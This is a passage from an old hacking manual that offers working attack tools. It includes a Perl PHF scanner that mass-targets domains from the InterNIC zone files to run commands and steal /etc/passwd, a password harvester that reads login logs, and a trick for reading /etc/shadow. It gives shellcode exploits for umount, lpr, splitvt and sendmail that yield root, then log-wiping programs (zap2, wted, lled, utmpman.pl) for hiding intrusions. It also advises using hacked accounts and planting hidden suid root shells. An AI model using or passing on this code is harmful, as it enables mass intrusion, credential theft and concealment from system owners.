/usr/local/bin/ph -m alias=X id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
;
close(FILE);
# Open output file.
open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");
my($url)="";
foreach $url (@URLs) {
print ("Now checking: $url");
chomp($url);
$result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/usr/bin/id`;
print OUTFILE ("\n============ $url ============\n");
foreach (split(/\n/, $result)) {
print OUTFILE ("$_\n");
}
if ($result =~ m/id=/i) {
if ($result =~ m/root/i) {
print ("Logging root response.\n");
} else {
print ("Got ID response, getting /etc/passwd...");
$result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd`;
# Output results to file named .passwd;
local($domainfilename)="";
$domainfilename = $url;
if (open(PASSWDFILE, ">${domainfilename}.passwd")) {
print PASSWDFILE ("\n");
foreach (split(/\n/, $result)) {
print PASSWDFILE ("$_\n");
}
close(PASSWDFILE);
print ("Done! [$domainfilename].\n");
} else {
print ("FAILED! [$domainfilename].\n");
}
}
}
}
# We are done. Close the output file and end the program.
close (OUTFILE);
0;
------------- cut here
Ok this is easy, if you name your domain file urls, you are all set to go.
Just type geturl.pl after chmod +x on the file.
Here are my doc's for the file:
This handy tool is easy to use and will get you some root access and
many passwd files from different domains.
geturl.pl will try and log results for every domain on the internet. You
choose the type: .COM .EDU .ORG .MIL .GOV (OR) you can supply a list of
IP addresses to be checked. If finds a root access account it
will simply log uid=root in the result file and go on to the next domain.
If PHF Probe finds non-root access it will snag the passwd file for you and
save it in the current directory in the (domainname.???.passwd) format.
Here are the short doc's and how it works. Any questions /msg i-e or i^e
ftp to ftp.rs.internic.net
in the domain directory you will find:
com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz
download these files and run getdomain.pl on the domains you want to target
first, in this manor: "perl getdomain.pl com.zone com >com.all"
What this will do is rip all of the .COM domains and put them into a file
called com.all.
If you wanted to do all of the .EDU addresses you would type:
perl getdomain.pl edu.zone edu >edu.all
Now you will have a list to use with (geturl.pl) called edu.all
To use this list just type:
geturl.pl
filename=edu.all or com.all and leave out the <>'s
if you name your domain file 'urls' it does not require
results will log into a file name of: GetURLResults in the current directory.
1. geturl.pl will search using lynx (make sure it is in your path)
2. if geturl finds it has root access to httpd on a url it will just log
root for that domain in the result file. If geturl finds it is not root,
but still has access to the domain using phf it will snatch the domain
passwd file and save it in the current directory under fulldomainname.passwd
3. if you like you can just give a list of ip addresses in the feed file
4. i use os/2 with lynx and perl ported to the hpfs so i have no problems
with the long file names. i have tested it under unix and it works good
so you should have no problems running this in a unix shell.
What you need:
1. Perl in the path
2. Lynx in the path
3. 256 char filenames ie: (unix or os/2 hpfs)
4. The files included here
5. Internic's domain files from their ftp or just make your own list or
urls or IP's and name the file 'urls' and type: geturl.pl
Caution:
It would be best if you paid cash for an internet account in your area under
another name or used a hacked account to get all of your results, then used
another safe account to start your work on the results. BUT I don't need to
tell you this right? I take no blame for these files, they are provided for
you to use to check security on domains ;)
getdomain.pl: to rip .ORG .COM .EDU .MIL .GOV Internic domain files
geturl.pl: to check and log the results of each domain
GetURLResults: The file that geturl makes as its log file
Here is one more thought:
If you can read the /var/adm/messages file you can get some user passwords
out of there lotz of times! I have even got ROOT passwords from there!
Wow many times have you been in a hurry to login? You type the password
at the Login: his is easy to do on one of those days that nothing seems to
be going right. You failed the login twice, the system is running slow, and it
just happens!
Login: you hit enter
Password: you think this is wanting the login name so you type your name
Login: you type your password
In the messages file it looks like this:
Login: yourpassword
Password ****** They don't give it, only the login name, but ooops, you
typed your password, and if we have access to read the messages file,
we have a good password to put in crackerjack and run it. If on a small
system, no prob ... lets hope it's root ;)
Here is a script to make things easy!
FOR QUANTUM'S BINDWAREZ FILE: You will find it at the end of this paper
in the appendix uuencoded.
------------ cut here
#!/bin/sh
# Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)
# /var/log/messages is world readable. If a user types in his password at
# the login prompt, it may get logged to /var/log/messages.
#
# I could swear this topic has been beaten to death, but I still see this
# problem on every linux box I have access to.
#
# Dave G.
# 12/06/96
#
# http://www.escape.com/~daveg
echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$
grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$$
if [ ! -e ./scrack ]
then
echo "Creating scrack.c"
cat << ! > scrack.c
#include
#include
#include
#include
#define get_salt( d, s ) strncpy( d, s, 2 )
void
main(argc,argv)
int argc;
char **argv;
{
struct passwd *pwd;
FILE *fp;
char buff[80], salt[3], *encrypted_string;
if ( ( fp = fopen( argv[1], "r" ) ) == NULL )
{
fprintf( stderr, "Couldnt find dict file\n" );
exit(1);
}
while ( fgets( buff, 80, fp ) != NULL )
{
setpwent();
buff[strlen(buff)-1]='\0';
while ( ( pwd = getpwent() ) != NULL )
{
if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
( strlen( (*pwd).pw_passwd ) == 13 ) )
{
get_salt(salt, (*pwd).pw_passwd );
encrypted_string = crypt( buff, salt );
if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
{
fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
fflush(stdout);
}
}
}
}
}
!
echo "Creating scrack"
cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
fi
./scrack /tmp/messages.dict.$$
echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself.
------ cut here
-----------------------
Section 3B
Newbe's
-----------------------
Yup, again, just another place to get password files. Just follow the guide
lines in section 2B. Use your sly ideas and get out there and make some
lame friends ;)
Remember you could have been a lammer before you read this manual rin
-----------------------------
Section 3C
Getting shadow passwd files
-----------------------------
What is a shadow password file?
Lets just use the passwd file above to show you what it would look like to you
if you cat it.
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
ftp:x:404:1::/home/ftp:/bin/bash
guest:x:405:100:guest:/dev/null:/dev/null
bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:x:502:100:Web Master:/home/web:/bin/bash
mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash
Something missing? Yup, the encrypted passwords. If you get root access the
encrypted passwords are in /etc/shadow. Some admin's will hide the shadow file
in some weird directory somewhere, but most of the time you will find it right
in /etc. Other shadow programs might put it in a master.passwd file. But if
you get root just have a good look around.
Lets say you have an account on the machine and just can't get root access.
Not a problem if they are using libc 5.4.7, at this time most still are ;)
Also one of these files have to have suid perm's (no prob):
ping, traceroute, rlogin, or, ssh
1. Type bash or sh to start a bash shell
2. Type: export RESOLV_HOST_CONF=/etc/shadow
3. Type one of the file names above with asdf, like this:
ping asdf
It should cat the passwd shadow file for you if it works.
I seem to find it working on most of the systems i am going on these days.
Note: you can replace /etc/shadow with any root owned file you want to read.
Here is a quick script you can run on any file you want to make it easy:
rcb.c
-------- cut here
/* RCB Phraser - therapy in '96
* Limits: Linux only, no binary files.
* little personal message to the world: FUCK CENSORSHIP!
*/
#include
void getjunk(const char *filetocat)
{ setenv("RESOLV_HOST_CONF",filetocat,1);
system("ping xy 1> /dev/null 2> phrasing");
unsetenv("RESOLV_HOST_CONF");
}
void main(argc,argv)
int argc; char **argv;
{ char buffer[200];
char *gag;
FILE *devel;
if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))
{ printf("RCB Phraser - junked by THERAPY\n\n");
printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);
exit(1);
}
getjunk(argv[1]);
gag=buffer;
gag+=10;
devel=fopen("phrasing","rb");
while(!feof(devel))
{ fgets(buffer,sizeof(buffer),devel);
if(strlen(buffer)>24)
{ strcpy(buffer+strlen(buffer)-24,"\n");
fputs(gag,stdout);
}
}
fclose(devel);
remove("phrasing");
}
-------------- cut here
command line : rcb /etc/shadow or any other file on the system you
can't read ;)
--------------------
Section 3D
Getting /etc/hosts
--------------------
Just a precaution, sometimes you will need to know what other systems
are in the hosts file, or what are all of the ip addresses or different domains
on the system. Make sure to cat the /etc/hosts file for more information
you might need later.
--------------------------
Chapter IV
Getting the root account
--------------------------
Like I said before all you need is one account in most cases, if you cannot get
root on the system you might want to trade it off to some irc junkie that
just wants to load a bot, for some other account or info that can help you in
your hacking quest. There will be enough information here so that if you can't
get root access, their system is well kept and probably will be kept up in the
future. You can always lay the account on the side, put the info in some kind
of log file with some good notes so that you can come back at a later time,
like right when a new exploit comes out ;)
Try to stay out of the system until that time so that you do not risk loosing
the account. Remember that when you login to an account and can't get root
you will not be able to clean the logs, and the next time the user logs in he
might see a message that says: last login from xxx.com time:0:00 date:xx/xx/xx
------------
Section 4A
Bugs
------------
There are many bugs out there in different programs that you can use to get
root. It might be a game installed on the system, or even the sendmail
program. If they do not update their programs on a regular basis, you can
be sure you will be able to get in now, and if not, soon to come.
I will be sure to provide the main exploits and bugs here and other less
used below in the appendix section. I will make sure here to give you detailed
english terms so that you can exploit root on the system. But please be sure
to read the sections below, and this manual entirely before proceeding, to be
sure you get started in the right way and not blow you chances of having a
long stay on the system.
------------
Section 4B
Exploits
------------
umount/mount exploit
Look in the /bin directory for a file called umount (or mount),
if you do not find it there do a search for the file like this:
find / -name umount -print -xdev
(you can look for any other file name the same way)
Go to the directory where the file is and do: ls -al um*
If the file has suid perm's you can probably get root.
SUID perm's has the rws for the owner of the file which is root. What you are
looking for is the (s)
Look here:
victim:/bin# ls -al um*
-rwsr-sr-x 1 root 8888 Mar 21 1995 umount
victim:/bin#
This machine we can get root by a compile on the file below:
umount.c
------ cut here
/* sno.c : Linux realpath exploit
* Syntax: ./sno N
* mount $WOOT
* OR umount $WOOT
* N is some number which seems to differ between 4 & 8, if your number is
* too big, you will get a mount error, if it is too small, it will seg
* fault. Figure it out. (Sometimes N=0 for mount)
* If you use mount, first thing to do once you get the root shell is rm
* /etc/mtab~, if this file exists you can't root with mount until it is
* removed.
*
*
* -ReDragon
*/
#define SIZE 1024
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main(int argc, char **argv)
{
char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */
int a,r;
char *ptr;
long *addr_ptr;
char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *exec_ptr = execshell;
r=atoi(argv[1]);
ptr = env;
memcpy(ptr,"WOOT=",5); /* set environment variable to use */
ptr += 5;
for(a=0;a
#include
#include
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 1023
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
void main()
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
int i;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
---------- cut here
***************************
Here is the BSD version
***************************
lpr.bsd.c
--------------------------------------------------------- cut here
#include
#include
#include
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 1023
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
void main()
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
int i;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
--------- cut here
Now just compile it and chmod it +x, and run it.
Watch this one on the group file owner. Any file you copy will have
group owner as lp, make sure you chgrp root filename on any file you
write. Always be watching the user groups with ls -l and if you changed
any change them back like this:
chgrp groupname filename
It is a good idea to use this exploit ONLY to get the root access, then
just copy bash or sh to another file name on the system somewhere and make
it root root, suid: Group owner and File owner root, then chmod it +s
This will give you root access in the future as gid and uid root, without using
the lp group. Make sure you name it something that looks like it should be
running as a root process somewhere ;)
*****************
Here is another that is still around after a while, look for SUID perm's
on a file /usr/bin/splitvt
If it has suid perm's use this file below, but be sure to read the directions
after the exploit:
****************************************
sp.c
-------------------------------------------- cut here
/*
* Avalon Security Research
* Release 1.3
* (splitvt)
*
* Affected Program: splitvt(1)
*
* Affected Operating Systems: Linux 2-3.X
*
* Exploitation Result: Local users can obtain superuser privileges.
*
* Bug Synopsis: A stack overflow exists via user defined unbounds checked
* user supplied data sent to a sprintf().
*
* Syntax:
* crimson~$ cc -o sp sp.c
* crimson~$ sp
* bash$ sp
* bash$ splitvt
* bash# whoami
* root
*
* Credit: Full credit for this bug (both the research and the code)
* goes to Dave G. & Vic M. Any questions should be directed to
* [email protected] .
*
* ----------------------------------------------------------------------------
*/
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main()
{
char eggplant[2048];
int a;
char *egg;
long *egg2;
char realegg[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *eggie = realegg;
egg = eggplant;
*(egg++) = 'H';
*(egg++) = 'O';
*(egg++) = 'M';
*(egg++) = 'E';
*(egg++) = '=';
egg2 = (long *)egg;
for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;
egg=(char *)egg2;
for (a=0;a<0x40;a++) *(egg++) = 0x90;
while (*eggie)
*(egg++) = *(eggie++);
*egg = 0; /* terminate eggplant! */
putenv(eggplant);
system("/bin/bash");
}
-------------- cut here
Ok this is how splitvt works:
1. Compile the file
2. Run the sp file
3. Run splitvt
Before you run the file: whoami {press enter}
username
After you run the exploit: whoami
root
*******************************************************
Now if all of these have not got you root, try sm.sh. This is a sendmail
bug that works with 8.73 to 8.83 (maybe some others)
Here is the script:
sm.sh
---------- cut here
echo 'main() '>>smtpd.c
echo '{ '>>smtpd.c
echo ' setuid(0); setgid(0); '>>smtpd.c
echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c
echo '} '>>smtpd.c
echo 'main() '>>leshka.c
echo '{ '>>leshka.c
echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c
echo '} '>>leshka.c
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
cd /tmp
sh
------------ cut here
Just chmod the file +x like this
chmod +x sm.sh
1. Run the file
2. It will take you to the /tmp directory
3. type ls -l and see if you have a SUID sh file there, if you do, type
whoami, if not root, run the file ./sh, now see if you are root ;)
I will add many more scripts in the appendix, but these should be the best
at this time to get root access on linux or BSD, if you need another BSD
exploit try the crontab exploit for BSD in the appendix.
****************************************************************************
--------------------------
Chapter V
Making yourself invisible
--------------------------
The whole point of this hacking stuff is that you continue to have access to as
many points of information as possible. If you do stupid things, of fail just
once to clean your utmp or wtmp, xferlog's, etc ... you can loose access to the
system. Make yourself a regular order to follow and learn each system well!
Become part of the system, and take many notes if you are doing many systems
at once. But remember make yourself a routine. Have your set routine of
taking your time to clean any presence of your login, transfers, etc. Do NOT fail
in this one thing or you will loose access and possibly face some sort of
charges.
----------------------------
Section 5A
Zap2 (for wtmp/lastlog/utmp)
----------------------------
There are different log cleaning programs out there, but the best of these
is zap2. I compile mine to be named z2.
z2 will be run right after you get root access. This will want to be one of
the fastest things you run. (you never know)
You might want to do a finger @host.xxx to see who is on now, look at the idle
time of root or admin accounts to see if they are away doing something.
Login, and as soon as you get on, type w, to see idle time and who is on, but
at the same time you are looking at that be typing your root access command
that you should have waiting somewhere nested in the system. As soon as you
get your root access, type ./z2 username-u-logged-in-as
Now you are safer then you were. Do a w or who command to see that you are
gone from the utmp. If you ftp, or do other things you might have to use
other programs I will include in the next section called wted and lled.
Lets finish with this z2 first. You will have to see where each file is in
the system and edit z2.c to include the right location of these files
Here is the area you will look for right at the top of the file:
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
Most of the systems I login to are:
#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"
But you do your own look around to see were the files are. Also /var/log:
is a regular location.
Add the log locations for each system, compile the file, and you are all ready
to be invisible right after the login using z2
Here is the .c file
z2.c
--------------------------- cut here
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
--------------------------- cut here
---------------
Section 5B
Other scripts
---------------
Now we come to the other part of this. Lets say that after you login, and do
your z2, you need to ftp in to grab a file. (remember NEVER ftp or telnet out)
Ok, you ftp in and grab a few files, or login to another account on the system,
now you will need to use wted. wted will let you edit the wtmp to remove your
login from the ftp. You also might need to use the lled (lastlog edit).
Here is the menu if you type ./wted, after setting log locations & compile:
[8:25pm][/home/compile]wted
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help
-f Use FILE instead of default
-a Show all entries found
-u Show all entries for USER
-b Show NULL entries
-e Erase USER completely
-c Erase all connections containing HOST
-z Show ZAP'd entries
-x Attempt to remove ZAP'd entries completely
So if i ftp to username tsmith I would type wted -x -e tsmith
The program will now prompt you one login at a time for the user tsmith asking
if you want to delete it. After you delete your login, make sure to
chmod 644 the wtmp.tmp file and then copy it over the top of the wtmp file in
the log directory. Like this:
1. chmod 644 wtmp.tmp
2. cp wtmp.tmp /var/adm/wtmp
Here is your wted program:
MAKE SURE TO HAVE THE RIGHT PATH TO THE char file below
So make sure you have the right path to the wtmp file.
wted.c
---------------------- cut here
#include
#include
#include
#include
char *file="/var/adm/wtmp";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;iut_name)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct utmp *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ut_name);
printf("%s\t",ptr->ut_line);
strcpy(tmpstr,ctime(&(ptr->ut_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ut_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (host)
if (strstr(utmp.ut_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
if (name) {
if (strcmp(utmp.ut_name,name)) {cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c='a';
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
if (c=='f') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c=='n') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
if (c=='y') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}
remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (utmp.ut_time) {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}
usage()
{
printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n");
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------- cut here
You might also have to clean stuff out of the file /vat/adm/lastlog
For this use the lled.c. Compile the program and name it lled.
Here is a menu from the program when you type ./lled
[4:04am][/home/paris/compile]lled
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help
-f Use FILE instead of default
-a Show all entries found
-u Show all entries for USER
-b Show NULL entries
-e Erase USER completely
-c Erase all connections containing HOST
-z Show ZAP'd entries
-x Attempt to remove ZAP'd entries completely
It would be good to try to view first using -u, but many times it will not
show your username in the lastlog, but it will still have your host, so I
have found that if you know what to look for you can just type something like:
If my host name that I was coming from was machine.edit.com, I could type
lled -e username -c machine.edit
If you need to view the lastlog your host entry should be at the end of the
file, just type: lled -a
chmod the file lastlog.tmp 644 and copy the file over the top of the lastlog
file in the log directory just like you did above for the wted.
BE SURE TO SET THE PATH FOR YOUR lastlog below!
Ok here is your lled.c
-------------------------- cut here
#include
#include
#include
#include
char *file="/var/adm/lastlog";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;ill_line)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct lastlog *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ll_line);
strcpy(tmpstr,ctime(&(ptr->ll_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ll_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
if (host)
if (strstr(utmp.ll_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
if (name) {
if (strcmp(utmp.ll_line,name)) {cnt++;
write(fd,&utmp,sizeof(struct lastlog));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct lastlog));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c='a';
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
if (c=='f') {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c=='n') {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
}
if (c=='y') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}
remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
if (utmp.ll_time) {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}
usage()
{
printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n");
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------------------------------------------------- cut here
A good perl script for editing utmp, wtmp, and checking processes.
It will also let you insert lines in wtmp. So if you need to play you
can add clinton.whitehouse.gov logging into port ttyp3 and show he stayed
on the system for a few hours!
Running 'check' will let you know if someone is on the system and not showing
up in the utmp log. Admins like to hide the fact that they are online
sometimes. This will allow you to see their connection. You must be root to
run the script, and they need perl 5.003+ on thier system. After starting
the script just type help.
Here are some of the basic commands:
starts by loading wtmp
delete user username
delete host hostanme
write
read wtmp
delete user username
delete host hostname
write
do help for the rest ... the best wtmp,wtmp editor around!
Say thankyou i-e ;)
-----------------------start of utmpman.pl
#!/usr/bin/perl -w
#
# Variable defines.
my($utmp_location) = "/var/run/utmp";
my($wtmp_location) = "/var/log/wtmp";
my($shells_location) = "/etc/shells";
my($ttybase) = "tty";
my($ttyrange) = "pqrs"; # TTYrange standard on most linux systems.
my($ttyports) = "012345657689abcfef"; # TTYports standard on most linux systems.
# Global initializations.
my($active_file) = "";
my(%entries) = {};
my(@cmdline) = ();
my(@shells) = ();
# Display banner.
print "\nutmp Manager v0.8\n\n";
# Access check.
die("utmpman :: You must be root to run this application!\n") unless ($> == 0);
# Read in valid shells.
if (defined($shells_location)) {
open(SHELLFILE, "<$shells_location");
@shells = ;
close(SHELLFILE);
}
# Process "basename" of each shell.
@shells = map( { /([^\/\n]+)\n*$/; $1; } @shells);
